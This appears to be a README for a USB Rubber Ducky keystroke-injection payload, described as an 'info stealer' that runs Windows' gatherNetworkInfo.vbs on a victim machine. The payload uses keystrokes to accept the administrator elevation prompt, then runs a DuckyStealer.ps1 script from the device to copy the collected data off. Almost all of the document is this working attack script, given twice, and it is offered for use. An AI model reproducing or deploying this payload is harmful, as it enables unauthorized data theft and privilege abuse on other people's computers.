Rubber_Ducky_Gather_Network_Info

A very quickly script for rubber ducky which exploits the gatherNetworkInfo.vbs file in the
C:\Windows\System32 folder to steal different information from the victim machine.

Gather_Network_Info_Script

REM gathernetworkInfo a info stealer script by JonnyBanana
REM https://github.com/JonnyBanana
REM large delay beacause Windows require a lot of time to read the Ducky with twin duck firmware
DELAY 10000
GUI R
DELAY 200
STRING cmd /C "start gatherNetworkInfo.vbs"
DELAY 200
REM run as admin
CTRL-ALT ENTER
DELAY 100
LEFTARROW
DELAY 100
ENTER
REM the scripts require a little of time to create the files....
DELAY 10000
DELAY 5000
CTRL ESC
DELAY 200
STRING powershell
DELAY 200
ENTER
DELAY 200
REM the Rubber Ducky MUST renamed on " _ " (bottom bar)
STRING .((gwmi win32_volume -f 'label=''_''').Name+'DuckyStealer.ps1')
DELAY 200
ENTER
REM the last command takes about thirty seconds to copy all the informations
REM so be patient...

Script Without Comments

DELAY 10000
GUI R
DELAY 200
STRING cmd /C "start gatherNetworkInfo.vbs"
DELAY 200
CTRL-ALT ENTER
DELAY 100
LEFTARROW
DELAY 100
ENTER
DELAY 10000
DELAY 5000
CTRL ESC
DELAY 200
STRING powershell
DELAY 200
ENTER
DELAY 200
STRING .((gwmi win32_volume -f 'label=''_''').Name+'DuckyStealer.ps1')
DELAY 200
ENTER

Quack Yo Life!!!

You can also find the following payload in the Hak5 Website at this address:
https://hak5.org/blogs/payloads/gather-network-info

More info: https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/